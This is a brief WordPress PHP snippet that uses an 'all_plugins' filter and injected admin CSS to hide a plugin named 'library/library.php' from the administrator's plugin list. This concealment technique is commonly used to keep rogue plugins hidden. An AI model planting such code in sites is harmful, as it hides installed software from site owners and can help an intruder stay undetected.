add_filter('all_plugins', function ($plugins) {

    $plugin = 'library/library.php';

    if (isset($plugins[$plugin])) {
        unset($plugins[$plugin]);
    }

    return $plugins;
});


add_action('admin_head', function () {

    echo '<style>
        tr[data-plugin="library/library.php"]{
            display:none !important;
        }
    </style>';
});